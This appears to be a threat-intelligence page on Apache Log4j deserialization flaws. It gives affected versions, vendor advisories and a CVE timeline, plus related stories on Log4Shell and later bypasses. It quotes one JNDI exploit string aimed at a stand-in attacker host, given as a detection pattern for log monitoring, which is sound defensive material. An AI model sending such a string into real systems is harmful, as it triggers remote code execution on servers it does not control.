Loading story…
Apache Log4j socket receivers contain unsafe Java deserialization flaws that permit unauthenticated remote code execution when attackers can send crafted serialized log events to an exposed TCP or UDP SocketServer. CVE-2017-5645 affects Log4j 2 versions 2.0-alpha1 through 2.8.1; Apache addressed it in 2.8.2 by adding configurable ObjectInputStream class filtering to TcpSocketServer and UdpSocketServer.
Legacy Log4j 1.2's SocketServer is also vulnerable to the same attack class under CVE-2019-17571, affecting releases through 1.2.17 and requiring a suitable deserialization gadget. Log4j 1.x has been end-of-life since 2015 and will not receive fixes; organizations should migrate to supported Log4j 2 releases, upgrade vulnerable 2.x deployments to 2.8.2 or later, and disable or restrict exposed socket-server components where upgrades are not immediately possible.
See affected versions and whether adversaries are exploiting it.
10 events from the most recent confirmed update back to the earliest known activity.
Red Hat issued RHSA-2017:1417, an Important security advisory for rh-java-common-log4j in Red Hat Software Collections addressing CVE-2017-5645. It released fixed rh-java-common-log4j-1.2.17-15.15 packages for supported RHEL 6 and RHEL 7 Server and Workstation deployments.
CVE-2017-5645 was published for unsafe deserialization in Log4j 2 TCP and UDP socket servers, affecting versions 2.0-alpha1 through 2.8.1. A remote attacker able to send a crafted serialized log event could achieve arbitrary code execution; Log4j 2.8.2 is outside the affected range.
Red Hat released additional 2017 security updates for CVE-2017-5645 across RHEL, JBoss Web Server, JBoss EAP, BRMS, BPM Suite, Data Grid, and OpenShift Container Platform. These advisories expanded remediation beyond the previously recorded RHSA-2017:1417 Software Collections update.
CVE-2022-23307 was identified as a critical vulnerability affecting the Chainsaw component bundled with Log4j 1.x. Apache noted that it is the same issue addressed as CVE-2020-9493 in Chainsaw 2.1.0.
CVE-2022-23305 was identified in Log4j 1.2.x JDBCAppender, where SQL statements can incorporate values derived from PatternLayout converters such as the message converter. Crafted input or headers that are logged could cause unintended SQL queries to execute.
CVE-2022-23302 was identified as a high-severity deserialization vulnerability in the Log4j 1.x JMSSink component. Manipulated data in an untrusted or attacker-accessible LDAP reference could lead to remote code execution.
CVE-2021-4104 was identified in Log4j 1.x JMSAppender, which uses JNDI without protection. Applications referencing an untrusted or attacker-accessible site could be exposed to remote code execution through manipulated LDAP-store data.
CVE-2020-9488 was identified as an improper certificate-validation issue in Log4j 1.x SMTPAppender. The flaw could enable man-in-the-middle interception of SMTPS connections and expose transmitted log messages.
Apache identified CVE-2019-17571, a critical untrusted-deserialization vulnerability in Log4j 1.2 SocketServer affecting releases through 1.2.17. An unauthenticated remote attacker could potentially execute arbitrary code by sending malicious log traffic and using a suitable deserialization gadget.
The Apache Logging Services Project Management Committee ended support for Apache Log4j 1.x. Apache stated that Log4j 1.x would no longer be maintained and advised users to migrate to Log4j 2.x.
Vulnerabilities, threat actors, malware, products, organizations, and breaches Mallory has linked to this story.
See whether adversaries are exploiting this yet, and where the affected versions run in your environment.
7 references tracked. Mallory keeps watching after this page renders.
access.redhat.com
Open sourcecve.org
Open sourcebugzilla.redhat.com
Open sourcelists.apache.org
Open sourceredhat.com
Open sourceissues.apache.org
Open sourcelogging.apache.org
Open sourceMap indicators from this story to your assets and identify affected systems in minutes.
Every observed campaign, victim, and pivot linked to actors named in this story.
Malware, exploits, and IOCs connected to the activity described here.
YARA, Sigma, and Snort rules deployed to your SIEM as soon as they’re published.
Get matching new stories delivered to your team as they break — not the next morning.
Ask questions about this story and take action on the answers.
Other stories Mallory is tracking that overlap on entities, sources, or topic labels.
A critical vulnerability in Apache Log4j 2, tracked as **`CVE-2021-44228`**, allows unauthenticated remote code execution through abuse of the library’s **JNDI** functionality. Affected versions include **`2.0-beta9` through `2.14.1`**, where attacker-controlled input in log messages, configuration, or parameters can trigger lookups to malicious **LDAP** and related endpoints, potentially leading to full server compromise, data exposure, malware deployment, and service disruption. CISA described the flaw as a severe, widespread risk because Log4j is embedded across countless enterprise applications and services. Apache and government cybersecurity authorities urged organizations to rapidly identify all direct and transitive uses of Log4j, upgrade to **`2.15.0`** or later, and apply mitigations where immediate patching is not possible. Recommended defensive steps included disabling message lookups, removing the **`JndiLookup`** class, monitoring logs for exploit strings such as `${jndi:ldap://attacker.com/a}`, hardening internet-exposed systems, and isolating affected hosts while resetting credentials on any servers suspected of compromise.
Sep 2, 2026
A reported Apache Log4j2 deserialization flaw, tracked as Issue #4255, may allow attackers to bypass `FilteredObjectInputStream` protections through the allowlisted `java.rmi.MarshalledObject` class. During native serialized `LogEvent` processing, `Log4jLogEvent.LogEventProxy.readResolve()` can invoke `MarshalledObject.get()`, deserializing an embedded object with an unfiltered `ObjectInputStream`; a compatible gadget chain on the target classpath could then enable remote code execution. The issue may also permit resource-exhaustion denial of service and log injection. Exposure is limited to services that accept native Java-serialized Log4j event objects over the network, rather than ordinary local logging or non-native log transports. A Nuclei template has been proposed to detect blind out-of-band exploitation using Interactsh DNS callbacks against ObjectInputStreamLogEventBridge-style receivers. Reported affected releases include `log4j-api` and `log4j-core` through 2.26.1; an Apache patch and CVE assignment were pending. Rejecting `java.rmi.MarshalledObject` with `-Djdk.serialFilter='!java.rmi.MarshalledObject'` blocks the tested deserialization path.
Aug 28, 2026
Apache Log4j's initial fix for **Log4Shell** proved incomplete, as version `2.15.0` remained vulnerable to **CVE-2021-45046** under certain non-default but realistic configurations. Security reports said attackers could bypass the localhost-only JNDI restriction introduced in `2.15.0` with a crafted LDAP URI, enabling remote code execution or sensitive data exfiltration when lookups were enabled, specific Pattern Layout Context Lookup settings were used, or applications logged attacker-controlled input through `Logger.printf` and related paths. Apache responded by hardening Log4j further in `2.16.0`, disabling JNDI by default and requiring explicit opt-in for users who still needed it. Advisories from Snyk and others urged organizations to upgrade beyond `2.15.0` immediately, or remove the `JndiLookup` class from affected releases as a temporary mitigation, while the broader Log4j incident continued to evolve with later fixes for additional flaws including `CVE-2021-45105` and `CVE-2021-44832`.
Jun 29, 2026